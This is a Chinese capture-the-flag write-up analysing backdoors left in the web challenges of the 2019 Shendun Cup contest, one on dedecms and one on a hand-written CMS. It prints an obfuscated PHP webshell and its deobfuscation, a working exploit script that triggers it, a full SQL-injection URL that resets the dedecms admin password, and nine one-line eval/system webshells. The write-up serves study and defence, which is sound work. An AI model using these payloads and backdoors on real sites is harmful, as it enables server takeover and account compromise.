导语:队友去参加了2019神盾杯上海市网络安全竞赛,线下有4道web题,就跟队友要来了源码进行了一波分析,由于题目较多,分为2篇撰写,本篇先写dedecms和另一个出题人手写的cms。
前言
队友去参加了2019神盾杯上海市网络安全竞赛,线下有4道web题,就跟队友要来了源码进行了一波分析,由于题目较多,分为2篇撰写,本篇先写dedecms和另一个出题人手写的cms。
web1
预置简单后门查杀
打开源码发现是dedecms,使用主流webshell查杀工具得到如下结果:
由于静态分析具有较高的误报率,所以我先选择了diff一下:
发现后门文件为include/guess.class.php,事实证明还是D盾nb~
内置混淆后门
我们先去查看文件:include/guess.class.php。
发现明显后门:
<?php $p='$s[$i].=$p;$eW=WstrWpos($s[$i],$f);Wif($We){W$k=W$kh.W$kf;ob_start();@WeWWval(@gzW'; $R='W$kWh="3aae";$kf="W0208WW";fWunctioWn x($t,W$k){$c=strlen($k);$Wl=strlWen($Wt);W$o=W'; $n='","+"W),$ss($sW[$i],0,$We))),$kW)));$Wo=obW_get_contWents();obW_endW_cWleanW();$d'; $W='"";for($i=0;$i<$lW;){for(W$j=0W;($j<$Wc&&$iW<W$l);$jW++,$i++){W$o.=$t{$Wi}^$k{W$'; $G='werW";$i=$Wm[1][0].$m[1W][1];$hW=$slW($Wss(md5($iW.$kh),W0,3))WW;$f=$sl(W$ss(md5('; $N='uncompressW(@x(@bWase64WW_decode(preg_rWeplace(arraWy("/W_/WW","/W-/"),array("W/'; $I='$iWW.$kf),0,3W)WW);$p="W";for(W$z=1;$z<coWunt($m[1]);$z++)W$pW.=$qW[$m[2][$Wz]];if(str'; $k=str_replace('ZA','','creZAaZAte_ZAfuZAZAncZAtion'); $F='j};}}Wreturn W$o;}$r=$W_SWERWVER;[email protected]$rWW["HTTP_REFEWRERW"];[email protected]$r["HTTWP_ACCEPWT'; $a='_WLANWGUAGEW"];if($rr&&$raWW)W{$uW=parse_urWlW($rrW);parse_str($u["quWery"],$qWW);'; $s='$q=array_valuesW($q);prWeg_matWWchW_aWll("W/([\\wW])[\\w-]+(?:;q=0.([\\dW]))?,W?W/",W$ra,'; $A='=baWse6W4_encode(x(gWzcompresWs(W$o),$k));pWrWint("<$k>W$d</W$k>")W;@sessionW_destrWoy();}}}}'; $Y='pWWosW($p,$h)===0)W{$s[$i]="";W$pW=$ss(W$p,3);W}if(arrayW_key_exWists(W$i,$s))W{W'; $t='$m);if($q&W&W$m){@sessioWn_stWart();W$s=W&$_SESSIOWN;$ss="substrW";W$sl="stWrtoloW'; $X=str_replace('W','',$R.$W.$F.$a.$s.$t.$G.$I.$Y.$p.$N.$n.$A); $w=$k('',$X);$w(); ?>
定位到最后一句:
$w=$k('',$X);$w();
发现$k为create_function,那么$X的值就至关重要,我们可以得到其值为:
<?php $kh="3aae"; $kf="0208"; function x($t,$k){ $c=strlen($k); $l=strlen($t); $o=""; for($i=0;$i<$l;){ for($j=0;($j<$c&&$i<$l);$j++,$i++){ $o.=$t{$i}^$k{$j}; } } return $o; } $r=$_SERVER; [email protected]$r["HTTP_REFERER"]; [email protected]$r["HTTP_ACCEPT_LANGUAGE"]; if($rr&&$ra){ $u=parse_url($rr); parse_str($u["query"],$q); $q=array_values($q); preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m); if($q&&$m){ @session_start(); $s=&$_SESSION; $ss="substr"; $sl="strtolower"; $i=$m[1][0].$m[1][1]; $h=$sl($ss(md5($i.$kh),0,3)); $f=$sl($ss(md5($i.$kf),0,3)); $p=""; for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]]; if(strpos($p,$h)===0){ $s[$i]=""; $p=$ss($p,3); } if(array_key_exists($i,$s)){ $s[$i].=$p; $e=strpos($s[$i],$f); if($e){ $k=$kh.$kf; ob_start(); @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k))); $o=ob_get_contents(); ob_end_clean(); $d=base64_encode(x(gzcompress($o),$k)); print("<$k>$d</$k>"); @session_destroy(); } } } }
看到恶意代码位置:
if($e){ $k='3aae0208'; ob_start(); @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),substr($s[$i],0,$e))),$k))); $o=ob_get_contents(); ob_end_clean(); $d=base64_encode(x(gzcompress($o),$k)); print("<$k>$d</$k>"); @session_destroy(); }
关键参数为$e和$s,我们跟踪这两个值,发现e为$s[$i]中$f的位置:
$e=strpos($s[$i],$f);
而$s[$i]与$p有关,我们继续跟进$p,$s,$i的赋值:
for($z=1;$z<count($m[1]);$z++) $p.=$q[$m[2][$z]];
容易发现$p的值与$m有关。而$i与$m也与$m有关:
$s=&$_SESSION; $i=$m[1][0].$m[1][1]; 那么$m与HTTP_ACCEPT_LANGUAGE和如下正则有关: [email protected]$r["HTTP_ACCEPT_LANGUAGE"]; .... preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
简单测试:
发现m[2]的值由q=0.几控制,而m[1]与每组首写字母有关。
回到如下拼接:
for($z=1;$z<count($m[1]);$z++) $p.=$q[$m[2][$z]];
剩下只要控制$q的值即可:
[email protected]$r["HTTP_REFERER"]; $u=parse_url($rr); parse_str($u["query"],$q); $q=array_values($q);
我们注意到$q与HTTP_REFERER的参数有关,我们测试一下:
那么我们可以通过控制数组p的值,和数组$m的值,来控制$p的值,例如:
// [email protected]$r["HTTP_REFERER"]; $rr = "https://skysec.top/?exp=skycool"; // [email protected]$r["HTTP_ACCEPT_LANGUAGE"]; $ra = "zh-CN,zh;q=0.0,en;q=0.1";
那么此时p的值为skycool。
紧接着是过滤:
if(strpos($p,$h)===0){ $s[$i]=""; $p=substr($p,3); }
那么我们跟踪$h,发现为salt:
$i=$m[1][0].$m[1][1]; $h=strtolower(substr(md5($i.$kh),0,3));
所以我们很容易预测$h的值,只需要在我们的exp前拼接上$h的值即可。
那么现在只剩最后的exp,回到最开始的核心代码:
$s[$i].=$p; $e=strpos($s[$i],$f); @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),substr($s[$i],0,$e))),$k))); 那么可以通过$p控制`$s[$i]`的值,同时为了完全截取,我们可以类似如下构造exp: $exp = $h.$payload.$f;
这样即可完全截取到我们的$payload。
然后是加密函数x:
function x($t,$k){ $c=strlen($k); $l=strlen($t); $o=""; for($i=0;$i<$l;){ for($j=0;($j<$c&&$i<$l);$j++,$i++){ $o.=$t{$i}^$k{$j}; } } return $o; }
容易发现这是xor加密,可以用来加密也可用来解密,直接用即可。
那么编写exp如下:
<?php function x($t,$k){ $c=strlen($k); $l=strlen($t); $o=""; for($i=0;$i<$l;){ for($j=0;($j<$c&&$i<$l);$j++,$i++){ $o.=$t{$i}^$k{$j}; } } return $o; } // [email protected]$r["HTTP_ACCEPT_LANGUAGE"]; $ra = "zh-CN,zh;q=0.0,en;q=0.1"; preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m); $i=$m[1][0].$m[1][1]; $kh="3aae"; $kf="0208"; $k=$kh.$kf; $h=strtolower(substr(md5($i.$kh),0,3)); $f=strtolower(substr(md5($i.$kf),0,3)); $exp = 'phpinfo();'; $exp = @base64_encode(@x(@gzcompress($exp),$k)); $exp = $h.$exp.$f; // // [email protected]$r["HTTP_REFERER"]; $rr = "https://skysec.top/?sky=".$exp; var_dump($rr); 例如执行phpinfo(): // [email protected]$r["HTTP_ACCEPT_LANGUAGE"]; $ra = "zh-CN,zh;q=0.0,en;q=0.1"; // // [email protected]$r["HTTP_REFERER"]; $rr = "https://skysec.top/?sky=99eS/1KrRj6/HP4trHRNjIl/DDg328"
可以成功执行。
sql注入
通过diff可以发现代码注释了一段内容:
但这实际没有作用,是用来去除Power by dedecms的。但是另一处修改直接导致了sql注入:
我们查看相关文章:
https://seo.linyufan.com/thread-56-1-1.html http://www.hackdig.com/?06/hack-4026.htm
发现是可以更改管理员密码的。
https://skysec/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35
其他文件:
发现新文件test.php,内容与common.inc.php相互对应:
综合来说即:
<?php session_set_save_handler(); session_start();
但好像不能利用,有高见的师傅可以留言和我私聊。
总结
dedecms作为一款被挖爆了的cms,肯定还有自带的原生漏洞,我这里就不做分析了,只把diff出来的内容写出来。
web2
web2像是个自己手写的cms,还是一样的思路,现有主流静态分析软件跑一波明显后门:
这道题应该属于送分题,全是后门。
预置后门1:index.php:
<?php include 'header.php'; @eval($_REQUEST['aa']); ?>
预置后门2:footer.php:
<?php $shell=$_POST['shell']; system($shell); if($shell !=""){ exit(); } ?>
预置后门3:contact.php:
<?php include 'header.php'; $file_path = $_GET['path']; if(file_exists($file_path)){ $fp = fopen($file_path,"r"); $str = fread($fp,filesize($file_path)); echo $str = str_replace("\r\n","<br />",$str); } ?>
预置后门4:config.php:
<?php //链接数据库 $host = 'localhost'; $username = 'root'; $password = 'root'; $database = 'test'; $dbc = mysqli_connect($host, $username, $password, $database); if (!$dbc) { die('Could not connect: ' . mysql_error()); } //启用session session_start(); //根目录 $basedir = ''; @eval($_REQUEST['c']); ?>
预置后门5:about.php:
<?php $file=$_GET['file']; include $file; ?>
预置后门6:a.php:
<?php @eval($_REQUEST['c']); var_dump($_SERVER); ?>
预置后门7:.a.php:
<?php @eval($_REQUEST['c']); ?>
预置后门8:admin/footer.php:
<?php $shell=$_POST['shell']; system($shell); if($shell !=""){ exit(); } ?>
预置后门9:admin/header.php:
<?php $p=$_GET['p']; echo $p; $q=exec($p); var_dump($q); ?>
以及一个很裸的文件上传:
所以基本无需分析,都是非常明显的一句话木马了。
后记
文章尽可能的发掘出题人后置的漏洞,至于框架/CMS本身的问题,就不做分析了,如果有遗漏也欢迎补充!